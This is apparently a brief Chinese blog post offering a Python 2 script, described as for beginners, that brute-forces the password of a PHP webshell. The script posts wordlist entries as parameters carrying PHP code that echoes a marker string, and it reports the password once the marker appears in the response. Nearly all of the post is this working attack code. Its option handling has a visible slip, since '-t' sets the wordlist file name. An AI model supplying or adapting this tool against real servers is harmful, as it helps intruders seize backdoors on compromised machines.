如何用Python打造密码破解器

适用于新手的python密码破解器，代码如下：

#!/usr/bin/python
#-*- coding: GB2312 -*-
#author:loversorry
import urllib2
import urllib
import os
import sys
import getopt
import base64
def usage():
 print sys.argv[0]+" -u [url]http://www.xxx.com/webshell.php[/url] -t php -f ./password.txt -i 1000"
def readFile():
 posts = {}
 posts_arr = []
 f = open(file_name,'r')
 i = 0
 for line in f.readlines():
 line = line.replace('\n','')
 temp = base64.b64encode(line+'**==**1a1a1a').replace('=','');
 posts[line]='$a=%s;$b=base64_decode($a);echo($b);' % temp
 i = i+1
 if i>int(num)-1:
 posts_arr.append(str(posts))
 posts.clear()
 i = 0
 if len(posts):
 posts_arr.append(str(posts))
 f.close()
 return posts_arr
def intruder(postDatas):
 headers = {
 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'
 }
 ok = False
 for item in range(len(postDatas)):
 postData = postDatas[item]
 postData = urllib.urlencode(eval(postData))
 request = urllib2.Request(url,postData,headers)
 response = urllib2.urlopen(request)
 text = response.read()
 if text.find('1a1a1a') <> -1:
 print '\n破解成功,密码为:'+text.split('**==**')[0]
 ok = True
 break
 else:
 sys.stdout.write(".")
 return ok
if __name__ == '__main__':
 opts,args = getopt.getopt(sys.argv[1:],'hu:t:f:i:')
 url = ''
 server_type = ''
 file_name = ''
 num = ''
 for opt,value in opts:
 if opt == '-u':
 url = value
 elif opt == '-t':
 file_name = value
 elif opt == '-f':
 file_name = value
 elif opt == '-i':
 num = value
 elif opt == '-h':
 usage()
 sys.exit()
 if file_name == '' or num == '' or url == '':
 usage()
 sys.exit() 
 sys.stdout.write("开始破解:")
 if intruder(readFile()) == False:
 print '\n破解失败,换字典试试!'